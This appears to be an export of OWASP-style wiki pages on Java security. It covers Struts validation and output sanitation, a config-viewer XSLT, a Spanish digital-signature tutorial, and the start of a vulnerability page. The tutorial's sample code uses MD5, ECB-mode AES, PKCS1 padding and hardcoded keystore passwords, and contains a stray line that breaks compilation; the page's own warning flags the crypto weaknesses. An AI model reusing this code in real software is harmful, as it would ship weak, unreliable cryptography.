I will not spend any more time talking about the architecture of struts. If you would like to have more information on that topic, I suggest going to the [http://struts.apache.org/ official website].

==Security in the Model==

===Validation===

The Struts Validation Framework is the primary method of validating a struts based application. Struts validation consists of a few elements to be setup. To properly use Struts validation your application should have the following...

<ul>
<li>A validator-rules.xml file in the WEB-INF folder.</li>
<li>A validator.xml in the WEB-INF folder.</li>
<li>All ActionForms should extend org.apache.struts.validator.ValidatorForm or org.apache.struts.validator.ValidatorActionForm instead of org.apache.struts.action.ActionForm.</li>
<li>The commons-validator.jar in WEB-INF. This can be obtained [http://commons.apache.org/validator/ here].</li>
<li>The Validator plug-in should be enabled in struts-config.xml
<p><pre>
<plug-in className="org.apache.struts.validator.ValidatorPlugIn">
<set-property property="pathnames" value="/WEB-INF/validator-rules.xml,/WEB-INF/validator.xml"/>
</plug-in>
</pre></p></li>
</ul>

====Examples====

[[Struts Validation in an ActionForm]]

[[Struts Validation in validator.xml using an ActionForm]]

[[Struts Validation in validator.xml using a DynaValidatorForm]]

==Security in the View==

===Output Sanitation===

[[Output sanitation]] is the process of ensuring that your output does not contain HTML or XML specific characters. So, for example a '<' becomes '&lt;'. This should be used as a secondary [[Cross-site Scripting (XSS)|XSS]] prevention method. Primary method of prevention should be validation. Luckily some Struts tags include output sanitation by default. If you're tag is not here, then you should implement sanitation manually.

====Sanitized tags====
*bean:Write (may be overwritten by setting filter to false)
*html:Hidden
*html:Messages (if the value is of type String)
*html:Multibox
*html:OptionsCollection (may be overwritten by setting filter to false)
*html:Options (may be overwritten by setting filter to false)
*html:Option '''(you must set filter to true)'''
*html:Radio
*html:TextArea
*html:File
*html:Hidden
*html:Password
*html:Text

==Security in the Controller==

===Roles===

In the struts-config.xml configuration file it is possible to specify a roles attribute, a comma-delimited list of security role names that are allowed access to the ActionMapping object. This is pretty much all that you get out of the box.

<pre>
<action
roles="administrator,contributor"
path="/article/Edit"
parameter="org.article.FindByArticle"
name="articleForm"
scope="request">
<forward
name="success"
path="article.jsp"/>
</action>
</pre>

===Custom Action Mappings===

It is possible to implement far more complex security models if you extend the action mappings.

<pre>TODO: Lots more detail here.</pre>

===Error Handling===

<pre>TODO: Put some info here</pre>

==Common errors and vulnerabilities==

[[Improper_Data_Validation#Struts:_Form_Field_Without_Validator|Form Field Without Validator]]

[[Improper_Data_Validation#Struts:_Plug-in_Framework_Not_In_Use|Plug-in Framework Not In Use]]

[[Improper_Data_Validation#Struts:_Unused_Validation_Form|Unused Validation Form]]

[[Improper_Data_Validation#Struts:_Unvalidated_Action_Form|Unvalidated Action Form]]

[[Improper_Data_Validation#Struts:_Validator_Turned_Off|Validator Turned Off]]

[[Improper_Data_Validation#Struts:_Validator_Without_Form_Field|Validator Without Form Field]]

[[Improper_Data_Validation#Struts:_Form_Does_Not_Extend_Validation_Class|Form Does Not Extend Validation Class]]

[[Improper_Data_Validation#Struts:_Erroneous_validate.28.29_Method|Erroneous validate() Method]]

[[Improper_Data_Validation#Struts:_Duplicate_Validation_Forms|Duplicate Validation Forms]]

==Auditing Tools==

[[Struts XSLT Viewer]]

[[Category:Java]]
[[Category:Struts]]

Struts Validation in an ActionForm

2017-11-10T21:53:03Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

Struts Validation in validator.xml using an ActionForm

2017-11-10T21:52:53Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

* Integration with commons validator
* A bit awkward, but it gets the job done.

* struts-config.xml
<pre>
<struts-config>
<form-beans>
<form-bean name="logonForm" type="net.jcj.LogonForm"/>
</form-beans>
<action-mappings>
<action path="/Logon" forward="/pages/Logon.jsp"/>
<action path="/LogonSubmit" type="app.jcj.LogonAction" name="logonForm"
scope="request" validate="true" input="/pages/Logon.jsp">
<forward name="success" path="/pages/Welcome.jsp"/>
<forward name="failure" path="/pages/Logon.jsp"/>
</action>
</action-mappings>
<message-resources parameter="resources.application"/>
<plug-in className="org.apache.struts.validator.ValidatorPlugIn">
<set-property property="pathnames" value="/technology/WEB-INF/validator-rules.xml, /WEB-INF/validation.xml"/>
</plug-in>
</struts-config>
</pre>
* net.jcj.LogonForm
<pre>
package net.jcj;

import javax.servlet.http.HttpServletRequest;
import org.apache.struts.action.*;

public class LogonForm extends ActionForm
{
private String userId = null;
private String password = null;

public void setUserId (String userId){
this.userId = userId ;
}

public String getUserId(){
return this.userId ;
}

public void setPassword (String password){
this.password = password;
}

public String getPassword(){
return this.password;
}

/**
* Resets all properties to their default values.
*/
public void reset(ActionMapping mapping, HttpServletRequest request) {
this.userId = null;
this.password = null;
}

/**
* Validates the form. Returns a list of action
* Of course in a production environment, your rules would be far more strict than this.
*/
public ActionErrors validate(
ActionMapping mapping, HttpServletRequest request ) {
return new ActionErrors();
}

}
</pre>

* validation.xml

<pre>
<form-validation>
<formset>
<form name="logonForm">
<field property="userId" depends="required">
<arg0 key="prompt.userId"/>
</field>
<field property="password" depends="required">
<arg0 key="prompt.password"/>
</field>
</form>
</formset>
</form-validation>
</pre>

[[Category:Struts]]
[[Category:Java]]

Struts XSLT Viewer

2017-11-10T21:52:41Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

Here is a quick'n'dirty xslt transformations to quickly visualize Struts config files (very useful on security audits)

Dinis note: Java guys, please edit and link to the correct place

== sample_struts.xml ==

<pre>

<?xml version="1.0" encoding="ISO-8859-1" ?>
<?xml-stylesheet type="text/xsl" href="strutsBasicMapping.xslt"?>


<struts-config>
</struts-config>

</pre>

== strutsBasicMapping.xslt ==

<pre>

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xs="http://www.w3.org/2001/XMLSchema">
<xsl:output version="1.0" encoding="utf-8" omit-xml-declaration="no" indent="no" media-type="text/html"/>
<xsl:template match="/struts-config">
<html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<head>
<style>
body { font-family: Arial; font-size: 14 }
b { font-family: Arial;}
a { text-decoration: none}
i { font-family: verdana}
td { font-family: Arial; font-size: 11 }
li { font-family: Arial; font-size: 11 }
.td_small_font { font-family: Arial; font-size: 11 }
.td_LHS_Menu { font-family: Arial; font-size: 11; font-weight: bold; color: white; text-decoration: none}
.title { font-family: Arial; font-size: 22}
.smallItalic { font-family: verdana; font-size: 08; font-weight: normal;}
</style>
</head>

<body>
<h1>
<span style="font-family:@Arial Unicode MS; font-weight:bold; ">struts-config Basic Mappings</span>
</h1>
<br/>
<h2>Form Beans</h2>
<table border="1">
<tbody>
<tr bgcolor="navy">
<td>
<span style="color:#FFFFFF; font-family:@Arial Unicode MS; font-weight:bold; ">Form Bean name</span>
</td>
<td>
<span style="color:#FFFFFF; font-family:@Arial Unicode MS; font-weight:bold; ">Form Bean properties</span>
</td>
</tr>
<xsl:for-each select="form-beans/form-bean">
<tr>
<td valign="top">
<b><xsl:value-of select="@name"/></b>
</td>
<td>
<ul><xsl:for-each select="form-property">
<li>
<b><xsl:value-of select="@name"/></b>
: <xsl:value-of select="@type"/>
<xsl:if test="count(@initial)>0">
(initial = <xsl:value-of select="@initial"/>)
</xsl:if>
</li>
</xsl:for-each></ul>
</td>
</tr>
</xsl:for-each>
</tbody>
</table>
<br/>
<h2> global-forwards</h2>
<table border="1" width="100%">
<tbody>
<tr bgcolor="navy">
<td>
<span style="color:#FFFFFF; font-family:@Arial Unicode MS; font-weight:bold; ">name</span>
</td>
<td>
<span style="color:#FFFFFF; font-family:@Arial Unicode MS; font-weight:bold; ">path</span>
</td>
<td>
<span style="color:#FFFFFF; font-family:@Arial Unicode MS; font-weight:bold; ">redirect</span>
</td>
</tr>

<xsl:for-each select="global-forwards/forward">
<tr>
<td valign="top">
<b><xsl:value-of select="@name"/></b>
</td>
<td valign="top">
<xsl:value-of select="@path"/>
</td>
<td valign="top">
<xsl:value-of select="@redirect"/>
</td>

</tr>
</xsl:for-each>
</tbody>
</table>
<br/>
<h2>action-mappings</h2>
<table border="1">
<tbody>
<tr bgcolor="navy">
<td>
<span style="color:#FFFFFF; font-family:@Arial Unicode MS; font-weight:bold; ">path</span>
</td>
<td>
<span style="color:#FFFFFF; font-family:@Arial Unicode MS; font-weight:bold; ">name</span>
</td>
<td>
<span style="color:#FFFFFF; font-family:@Arial Unicode MS; font-weight:bold; ">validate</span>
</td>
<td>
<span style="color:#FFFFFF; font-family:@Arial Unicode MS; font-weight:bold; ">parameter</span>
</td>
<td>
<span style="color:#FFFFFF; font-family:@Arial Unicode MS; font-weight:bold; ">type</span>
</td>
<td>
<span style="color:#FFFFFF; font-family:@Arial Unicode MS; font-weight:bold; ">scope</span>
</td>
<td>
<span style="color:#FFFFFF; font-family:@Arial Unicode MS; font-weight:bold; ">Forward</span>
</td>
</tr>

<xsl:for-each select="action-mappings/action">
<tr>
<td valign="top">
<b><xsl:value-of select="@path"/></b>
</td>
<td valign="top">
<b><xsl:value-of select="@name"/></b>
</td>
<td valign="top">
<b><xsl:value-of select="@validate"/></b>
</td>
<td valign="top">
<b><xsl:value-of select="@parameter"/></b>
</td>
<td valign="top">
<b><xsl:value-of select="@type"/></b>
</td>
<td valign="top">
<b><xsl:value-of select="@scope"/></b>
</td>
<td>
<ul><xsl:for-each select="forward">
<li>
<b><xsl:value-of select="@name"/></b>
: <xsl:value-of select="@path"/> : <xsl:value-of select="@redirect"/>
</li>
</xsl:for-each></ul>
</td>
</tr>
</xsl:for-each>
</tbody>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
</pre>

[[Category:Java]]

Traducción Español

2017-11-10T21:52:30Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

== Estado ==

Fecha de lanzamiento 14/1/2007

[http://webhostinggeeks.com/science/digital-signature-ro Romanian Translation]

== ADVERTENCIA ==

Recientemente Jim Manico trajo a mi atención esta página wiki, el mismo que me pidió que revisara con exactitud. Al hacerlo, me di cuenta de varios errores y áreas de weakness. Últimamente, tengo la intención de revisar esta página (espero que con la ayuda de uno de los propietarios originales), pero no dispongo de tiempo para hacer una revisión completa en este momento. Por lo tanto, resumiré la problemática que observe de esta página y dejándole a usted la decisión de utilizar o no, con estas advertencias.<br>

#En primer lugar, esta página no describe "firmas digitales". Más bien, describe un concepto conocido como "sobres digitales", que es un esquema utilizado con objetos como S / MIME. Las firmas digitales no sólo cifra el texto real del mensaje, sólo cifra el hash del texto del mensaje.
#Codificación UTF-8, debe utilizarse para realizar conversiones entre cadenas y matrices Java byte para asegurar la portabilidad adecuada a través de diferentes sistemas operativos.
#La cadena de certificados siempre deben ser validados. En este ejemplo, el certificado es auto firmado, por lo que este no es relevante y no será verdadero en el caso normal. Además, debe tenerse en cuenta que los certificados auto firmados, aunque aceptables para fines de demostración se considera una práctica dudosa para la producción, ya que abre la puerta a ataques de suplantación.
#NIST ahora recomienda el uso de 2048 tamaño de la clave de bits para claves RSA o DSA.
#Hay un consistente uso de algoritmos débiles. Aquí están algunos reemplazos sugeridos:

*Utilice "RSA/ECB/OAEPWithSHA1AndMGF1Padding" en lugar de "RSA/ECB/PKCS1Padding".
*Utilice SHA1 (o mejor SHA256, SHA1 pero por lo menos) en lugar de MD5 para la síntesis del mensaje.
*Utilice "SHA1withRSA" para el algoritmo de la firma en lugar de "MD5withRSA".
*Al crear un sistema de cifrado simétrico para cifrar el mensaje de texto, utilice "AES/CBC/PKCS5Padding" y elija un IV aleatorio para cada mensaje de texto en lugar de utilizar simplemente "AES", que termina con "AES/ECB/PKCS5Padding". Modo ECB es extremadamente débil para un texto plano regular. (Está bien para el cifrado de bits aleatorios, sin embargo, está bien usar con RSA.) Sin embargo, el uso CBC y PKCS5Padding podría hacer vulnerable a "Padding Oracle" ataques, así que se recomienda tener cuidado. Puede utilizar Encryptor ESAPI 2.0 's para evitarlo. (Tenga en cuenta también, esta parte es del concepto de "sobre digital". Si esta página fuera limitada verdaderamente por "firmas digitales", no se aplicaría, ya que sería irrelevante.)

Espero sacar tiempo lo más pronto, antes de limpiar esta página wiki. Mientras tanto, envíeme por correo electrónico sus preguntas.

-kevin wall

== Visión de conjunto ==

Este artículo presenta un breve resumen de los conceptos involucrados con firmas digitales y proporciona ejemplos de código para la aplicación de firmas digitales en Java utilizando la Arquitectura de Java Cryptography.

=== ¿Qué es una firma digital? ===

Una firma digital es un concepto que ayuda a obtener el no repudio de origen (es decir, la Integridad del Origen) de datos. Al firmar digitalmente el documento, la persona que firma, asegura que él es el autor del documento o el mensaje firmado.

=== Necesidad de Firma Digital ===

Durante la "E" revolución, fue una necesidad para la autenticación de críticas transacciones sobre todo en el mundo financiero. Si Alice se comprometió a transferir $ x para Bob, entonces tenía que haber una manera para que Bob se asegure de que:

*Fue Alice quien realizó la transacción y no otra persona suplantando Alice (Autenticación).
*El monto acordado por Alice es $x (Integridad).
*Alicia no pudo discutir su declaración de transacción $x a Bob (No repudio de origen).

Estas preocupaciones fueron tratadas con una solución conocida como firmas digitales. Más información de fondo sobre las firmas digitales se puede encontrar en [http://en.wikipedia.org/wiki/Digital_signature Wikipedia article]

== Firmas digitales en Java utilizando JCA ==

La Arquitectura de Java Cryptography es un marco para el acceso y el desarrollo de la funcionalidad criptográfica para la plataforma Java. Un proveedor de JCA implementa las funcionalidades criptográficas como firmas digitales y compendios de mensajes. El proveedor predeterminado JCA en JDK 1.4.2 es SUN.

=== Consideraciones de seguridad al implementar la firma digital ===

Dos consideraciones principales de seguridad que se deben tener en cuenta al aplicar firmas digitales son:

#Firma el mensaje y, a continuación cifrar el mensaje firmado.
#Firma el hash del mensaje en lugar del mensaje completo.

=== Consideraciones sobre el rendimiento al implementar la firma digital ===

Dado que los algoritmos de cifrado asimétricos, como RSA, DSA son computacionalmente más lento que los algoritmos de cifrado simétricos como AES, es una buena práctica, cifrar el mensaje real que se transmite utilizando un algoritmo de clave simétrica y luego cifrar la clave que se utiliza en el algoritmo de clave simétrica utilizando un algoritmo de clave asimétrica. Por ejemplo: si se quiere transmitir el mensaje "Hola Mundo de Firmas Digitales", entonces primero se cifra este mensaje con una clave simétrica, por ejemplo una clave AES de 128 bits como x7oFaHSPnWxEMiZE/0qYrg y luego se cifra esta clave con un algoritmo de clave asimétrica como RSA.

== Algoritmo para implementar la firma digital utilizando el algoritmo RSA ==

El proveedor de la implementación en Java RSA tiene una limitación en que el cifrado se puede realizar sólo en los datos de longitud <= 117 bytes. Si los datos son de longitud > 117 bytes, se lanzaría un IllegalBlockSizeException: Los datos no debe tener más de 117 bytes ahí la simetría tiene que ser cifrados y luego firmados.

El algoritmo RSA PKCS # 1 con relleno sólo puede cifrar los datos de tamaño k - 11 [http://www.rsa.com/rsalabs/node.asp?id=2125 1], donde k cuya longitud es de un octeto del módulo RSA y 11 es la cantidad de bytes utilizados por el relleno PCKS # 1 v1.5. Por lo tanto, si usamos una clave RSA de tamaño de 1024 bits, podríamos cifrar sólo 128 - 11 => 117 bytes de datos. Hay dos opciones disponibles para cifrar los datos de tamaño de byte más grande.

#Podríamos usar una clave RSA de longitud> 1024. Por ejemplo, si usamos 2048 bits, entonces podríamos cifrar 256-11 => 245 bytes de datos. La desventaja de este enfoque es que no sería capaz de codificar los datos de tamaño> x bytes (en el ejemplo anterior x es 245).
#Analizar los datos de entrada en trozos de bytes de tamaño <117 y aplicar la encriptación en cada trozo. El código de ejemplo de este enfoque se puede encontrar aquí [http://www.aviransplace.com/2004/10/12/using-rsa-encryption-with-java/3/ here].

Ambos enfoques podrían afectar al rendimiento ya que la clave RSA de mayor tamaño o un enfoque de "divide y vencerás" de bytes de entrada son computacionalmente costosa.

=== Algoritmo ===

Con las anteriores consideraciones, el algoritmo siguiente puede ser usado para la implementación de la criptografía de clave pública en Java.

#Cifrar el mensaje utilizando una clave simétrica
#Concatenar la clave simétrica + hash de clave simétrica + hash del mensaje.
#Cifrar la cadena concatenada con la clave pública de los receptores.
#Firmar los datos a transmitir (clave simétrica cifrada + Hash de la tecla + Hash del mensaje).
#Validar la firma.
#Descifrar el mensaje con la clave privada del receptor para obtener la clave simétrica.
#Validar la integridad de la clave utilizando el hash de la clave.
#Descifrar el mensaje real usando la clave simétrica que se ha descifrado, se analiza y se comprueba la integridad.
#Calcular MessageDigest de datos.
#Validar si la síntesis del mensaje del texto descifrado coincide con el resumen de mensaje del mensaje original.

=== Comandos para la generación de claves ===

prompt# keytool -genkey -alias testsender -keystore testkeystore.ks -keyalg RSA Enter keystore password: testpwd What is your first and last name?

[Unknown]: Alice Sender

¿Cuál es su nombre y apellido?

[Unknown]: IT

¿Cuál es el nombre de la unidad organizativa?

[Unknown]: ABC Inc

¿Cuál es el nombre de su organización?

[Unknown]: LA

¿Cuál es el nombre de su ciudad o localidad?

[Unknown]: CA

¿Cuál es el nombre de su estado o provincia?

[Unknown]: US

Es CN = Alice Sender, OU = IT, O = ABC Inc, L = LA, ST = CA, C = EE.UU. correcto?

[no]: y

Introduzca la contraseña clave para <testsender>

(RETURN if same as keystore password): send123

prompt # keytool -genkey -alias testrecv -keystore testkeystore.ks -keyalg RSA Introduzca la contraseña del almacén de claves: testpwd
¿Cuál es su nombre y apellido?

[Unknown]: Bob Receiver

¿Cuál es el nombre de la unidad organizativa?

[Unknown]: HR

¿Cuál es el nombre de su organización?

[Unknown]: ABC Inc

¿Cuál es el nombre de su ciudad o localidad?

[Unknown]: SFO

¿Cuál es el nombre de su estado o provincia?

[Unknown]: CA

¿Qué es el código de país de dos letras para esta unidad?

[Unknown]: US

Es CN = Bob receptor, OU = HR, O = ABC Inc, L = SFO, ST = CA, C = EE.UU. correcto?

[no]: y

Introduzca la contraseña clave para <testrecv>

(RETURN if same as keystore password): recv123

=== Code Sample ===

==== PublicKeyCryptography.java ====
<pre>package org.owasp.crypto;

import java.security.*;
import java.security.cert.*;
import javax.crypto.*;
import sun.misc.BASE64Encoder;
import sun.misc.BASE64Decoder;

/**
*
* @author Joe Prasanna Kumar
*
* 1. Cifrar los datos utilizando una clave simétrica
* 2. Cifrar la clave simétrica con la clave pública Receptores
* 3. Crear un resumen del mensaje de los datos a transmitir
* 4. Firma el mensaje a transmitir
* 5. Envíe los datos a través de un canal no seguro
* 6. Validar la firma
* 7. Descifrar el mensaje usando la llave privada Pets para obtener la clave simétrica
* 8. Descifrar los datos usando la clave simétrica
* 9. Calcule MessageDigest de datos + mensaje firmado
* 10.Valide si la síntesis del mensaje del texto descifrado coincide con el resumen de mensaje del mensaje original
*
*/

public class PublicKeyCryptography {

/**
* @param args
*/
public static void main(String[] args) {

SymmetricEncrypt encryptUtil = new SymmetricEncrypt();
String strDataToEncrypt = "Hello World";
byte[] byteDataToTransmit = strDataToEncrypt.getBytes();

// Generación de un SecretKey para el cifrado simétrico
SecretKey senderSecretKey = SymmetricEncrypt.getSecret();

//1. Cifrar los datos utilizando una clave simétrica
byte[] byteCipherText = encryptUtil.encryptData(byteDataToTransmit,senderSecretKey,"AES");
String strCipherText = new BASE64Encoder().encode(byteCipherText);

//2. Cifrar la clave simétrica con la clave pública
try{
// 2.1 Especifique el almacén de claves que se haya importado el certificado Receptores
KeyStore ks = KeyStore.getInstance(KeyStore.getDefaultType());
char [] password = "testpwd".toCharArray();
java.io.FileInputStream fis = new java.io.FileInputStream("/home/Joebi/workspace/OWASP_Crypto/org/owasp/crypto/testkeystore.ks");
ks.load(fis, password);
fis.close();

// 2.2 Creación de un certificado X509 del receptor
X509Certificate recvcert ;
MessageDigest md = MessageDigest.getInstance("MD5");
recvcert = (X509Certificate)ks.getCertificate("testrecv");
// 2.3 Obtención de la llave pública de los certificados
PublicKey pubKeyReceiver = recvcert.getPublicKey();

// 2.4 Cifrado de la SecretKey con la clave pública Receptores
byte[] byteEncryptWithPublicKey = encryptUtil.encryptData(senderSecretKey.getEncoded(),pubKeyReceiver,"RSA/ECB/PKCS1Padding");
String strSenbyteEncryptWithPublicKey = new BASE64Encoder().encode(byteEncryptWithPublicKey);

// 3. Crear un resumen del mensaje de los datos a transmitir
md.update(byteDataToTransmit);
byte byteMDofDataToTransmit[] = md.digest();

String strMDofDataToTransmit = new String();
for (int i = 0; i < byteMDofDataToTransmit.length; i++){
strMDofDataToTransmit = strMDofDataToTransmit + Integer.toHexString((int)byteMDofDataToTransmit[i] & 0xFF) ;
}

// 3.1 Mensaje que se Firmado = clave secreta cifrada + MAC de los datos a transmitir
String strMsgToSign = strSenbyteEncryptWithPublicKey + "|" + strMDofDataToTransmit;

// 4. Firma el mensaje
// 4.1 Obtener la clave privada del remitente desde el almacén de claves, proporcionando la contraseña establecida para la llave privada mientras se crea las llaves usados.
char[] keypassword = "send123".toCharArray();
Key myKey = ks.getKey("testsender", keypassword);
PrivateKey myPrivateKey = (PrivateKey)myKey;

// 4.2 Firmar el mensaje
Signature mySign = Signature.getInstance("MD5withRSA");
mySign.initSign(myPrivateKey);
mySign.update(strMsgToSign.getBytes());
byte[] byteSignedData = mySign.sign();

// 5. Los valores byteSignedData (la firma) y strMsgToSign (los datos que se firmó) se pueden enviar a través del receptor

// 6. Validar la firma
// 6.1 Extraer la clave pública de su certificado de remitentes
X509Certificate sendercert ;
sendercert = (X509Certificate)ks.getCertificate("testsender");
PublicKey pubKeySender = sendercert.getPublicKey();
// 6.2 Verificar la Firma
Signature myVerifySign = Signature.getInstance("MD5withRSA");
myVerifySign.initVerify(pubKeySender);
myVerifySign.update(strMsgToSign.getBytes());

boolean verifySign = myVerifySign.verify(byteSignedData);
if (verifySign == false)
{
System.out.println(" Error in validating Signature ");
}

else
System.out.println(" Successfully validated Signature ");

// 7. Descifrar el mensaje usando la llave privada Pets para obtener la clave simétrica
char[] recvpassword = "recv123".toCharArray();
Key recvKey = ks.getKey("testrecv", recvpassword);
PrivateKey recvPrivateKey = (PrivateKey)recvKey;

// Analizar el MessageDigest y el valor cifrado
String strRecvSignedData = new String (byteSignedData);
String[] strRecvSignedDataArray = new String [10];
strRecvSignedDataArray = strMsgToSign.split("|");
int intindexofsep = strMsgToSign.indexOf("|");
String strEncryptWithPublicKey = strMsgToSign.substring(0,intindexofsep);
String strHashOfData = strMsgToSign.substring(intindexofsep+1);

// Descifrado para obtener la clave simétrica
byte[] bytestrEncryptWithPublicKey = new BASE64Decoder().decodeBuffer(strEncryptWithPublicKey);
byte[] byteDecryptWithPrivateKey = encryptUtil.decryptData(byteEncryptWithPublicKey,recvPrivateKey,"RSA/ECB/PKCS1Padding");

// 8. Descifrar los datos usando la clave simétrica
javax.crypto.spec.SecretKeySpec secretKeySpecDecrypted = new javax.crypto.spec.SecretKeySpec(byteDecryptWithPrivateKey,"AES");
byte[] byteDecryptText = encryptUtil.decryptData(byteCipherText,secretKeySpecDecrypted,"AES");
String strDecryptedText = new String(byteDecryptText);
System.out.println(" Decrypted data is " +strDecryptedText);

// 9. Calcule MessageDigest de datos + mensaje firmado
MessageDigest recvmd = MessageDigest.getInstance("MD5");
recvmd.update(byteDecryptText);
byte byteHashOfRecvSignedData[] = recvmd.digest();

String strHashOfRecvSignedData = new String();

for (int i = 0; i < byteHashOfRecvSignedData.length; i++){
strHashOfRecvSignedData = strHashOfRecvSignedData + Integer.toHexString((int)byteHashOfRecvSignedData[i] & 0xFF) ;
}
// 10. Validar si la síntesis del mensaje del texto coincide con el mensaje descifrado
Digest of the Original Message

if (!strHashOfRecvSignedData.equals(strHashOfData))
{
System.out.println(" Message has been tampered ");
}

}

catch(Exception exp)
{
System.out.println(" Exception caught " + exp);
exp.printStackTrace();
}

}

}
</pre>
==== SymmetricEncrypt.java ====
<pre>package org.owasp.crypto;

import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import javax.crypto.Cipher;
import java.security.Key;

import java.security.NoSuchAlgorithmException;
import java.security.InvalidKeyException;
import java.security.InvalidAlgorithmParameterException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.BadPaddingException;
import javax.crypto.IllegalBlockSizeException;

import sun.misc.BASE64Encoder;

/**
* @author Joe Prasanna Kumar
* Este programa ofrece las funcionalidades criptográficas siguientes
* 1. Cifrado con AES
* 2. El descifrado con AES
*
* Algoritmo de alto nivel:
* 1. Generar una clave DES (especificar el tamaño de la clave durante esta fase)
* 2. Cree el Cipher
* 3. Para cifrar: Inicializar el cifrado para el cifrado
* 4. Para descifrar: Inicializar el cifrado para descifrar
*
*
*/

public class SymmetricEncrypt {

String strDataToEncrypt = new String();
String strCipherText = new String();
String strDecryptedText = new String();
static KeyGenerator keyGen;
private static String strHexVal = "0123456789abcdef";

public static SecretKey getSecret(){
/**
* Paso 1. Generación de una clave AES mediante keygenerator
* Inicializa el tamaño de clave de 128
*
*/

try{
keyGen = KeyGenerator.getInstance("AES");
keyGen.init(128);

}

catch(Exception exp)
{
System.out.println(" Exception inside constructor " +exp);
}

SecretKey secretKey = keyGen.generateKey();
return secretKey;
}

/**
* Paso 2. Crear un sistema de cifrado mediante la especificación de los siguientes parámetros
* a. Nombre del algoritmo - aquí es AES
*/

public byte[] encryptData(byte[] byteDataToEncrypt, Key secretKey, String Algorithm) {
byte[] byteCipherText = new byte[200];

try {
Cipher aesCipher = Cipher.getInstance(Algorithm);

/**
* Paso 3. Inicialice el cifrado para el cifrado
*/
if(Algorithm.equals("AES")){
aesCipher.init(Cipher.ENCRYPT_MODE,secretKey,aesCipher.getParameters());
}
else if(Algorithm.equals("RSA/ECB/PKCS1Padding")){
aesCipher.init(Cipher.ENCRYPT_MODE,secretKey);
}

/**
* Paso 4. Cifrar los datos
* 1. Declarar / inicializar los datos. Aquí los datos son de tipo String
* 2. Convertir el texto de entrada a Bytes
* 3. Cifrado de los bytes, utilizando el método doFinal
*/
byteCipherText = aesCipher.doFinal(byteDataToEncrypt);
strCipherText = new BASE64Encoder().encode(byteCipherText);

}

catch (NoSuchAlgorithmException noSuchAlgo)
{
System.out.println(" No Such Algorithm exists " + noSuchAlgo);
}

catch (NoSuchPaddingException noSuchPad)
{
System.out.println(" No Such Padding exists " + noSuchPad);
}

catch (InvalidKeyException invalidKey)
{
System.out.println(" Invalid Key " + invalidKey);
}

catch (BadPaddingException badPadding)
{
System.out.println(" Bad Padding " + badPadding);
}

catch (IllegalBlockSizeException illegalBlockSize)
{
System.out.println(" Illegal Block Size " + illegalBlockSize);
illegalBlockSize.printStackTrace();
}
catch (Exception exp)
{
exp.printStackTrace();
}

return byteCipherText;
}
/**
* Paso 5. Descifrar los datos
* 1. Inicialice el cifrado para descifrar
* 2. Descifrar los bytes cifrados utilizando el método doFinal
*/

public byte[] decryptData(byte[] byteCipherText, Key secretKey, String Algorithm) {
byte[] byteDecryptedText = new byte[200];

try{
Cipher aesCipher = Cipher.getInstance(Algorithm);
if(Algorithm.equals("AES")){
aesCipher.init(Cipher.DECRYPT_MODE,secretKey,aesCipher.getParameters());
}
else if(Algorithm.equals("RSA/ECB/PKCS1Padding")){
aesCipher.init(Cipher.DECRYPT_MODE,secretKey);
}

byteDecryptedText = aesCipher.doFinal(byteCipherText);
strDecryptedText = new String(byteDecryptedText);
}

catch (NoSuchAlgorithmException noSuchAlgo)
{
System.out.println(" No Such Algorithm exists " + noSuchAlgo);
}

catch (NoSuchPaddingException noSuchPad)
{
System.out.println(" No Such Padding exists " + noSuchPad);
}

catch (InvalidKeyException invalidKey)
{
System.out.println(" Invalid Key " + invalidKey);
invalidKey.printStackTrace();
}

catch (BadPaddingException badPadding)
{
System.out.println(" Bad Padding " + badPadding);
badPadding.printStackTrace();
}

catch (IllegalBlockSizeException illegalBlockSize)
{
System.out.println(" Illegal Block Size " + illegalBlockSize);
illegalBlockSize.printStackTrace();
}

catch (InvalidAlgorithmParameterException invalidParam)
{
System.out.println(" Invalid Parameter " + invalidParam);
}

return byteDecryptedText;
}

public static byte[] convertStringToByteArray(String strInput) {
strInput = strInput.toLowerCase();
byte[] byteConverted = new byte[(strInput.length() + 1) / 2];
int j = 0;
int interimVal;
int nibble = -1;

for (int i = 0; i < strInput.length(); ++i) {
interimVal = strHexVal.indexOf(strInput.charAt(i));
if (interimVal >= 0) {
if (nibble < 0) {
nibble = interimVal;
} else {
byteConverted[j++] = (byte) ((nibble << 4) + interimVal);
nibble = -1;
}
}
}

if (nibble >= 0) {
byteConverted[j++] = (byte) (nibble << 4);
}

if (j < byteConverted.length) {
byte[] byteTemp = new byte[j];
System.arraycopy(byteConverted, 0, byteTemp, 0, j);
byteConverted = byteTemp;
}

return byteConverted;
}

public static String convertByteArrayToString(byte[] block) {
StringBuffer buf = new StringBuffer();

for (int i = 0; i < block.length; ++i) {
buf.append(strHexVal.charAt((block[i] >>> 4) & 0xf));
buf.append(strHexVal.charAt(block[i] & 0xf));
}

return buf.toString();
}
}
</pre>
== References ==

#Computer Security Arts and Science – Matt Bishop
#Core Security Patterns – Christopher Steele, Ray Lai and Ramesh Nagappan

[[Category:Java]]

'''Aplicaciones en Ambientes Libres'''

'''Tutor:''' Ing. Tito Armas

'''Traductoroas:''' Bravo Maria Jose y Portilla Maria Fernanda 2012

Unchecked Return Value: Missing Check against Null

2017-11-10T21:52:04Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

{{Template:Vulnerability}}
{{Template:Fortify}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]

==Description==
Ignoring a method's return value can cause the program to overlook unexpected states and conditions.

Just about every serious attack on a software system begins with the violation of a programmer's assumptions. After the attack, the programmer's assumptions seem flimsy and poorly founded, but before an attack many programmers would defend their assumptions well past the end of their lunch break.

Two dubious assumptions that are easy to spot in code are "this function call can never fail" and "it doesn't matter if this function call fails". When a programmer ignores the return value from a function, they implicitly state that they are operating under one of these assumptions.

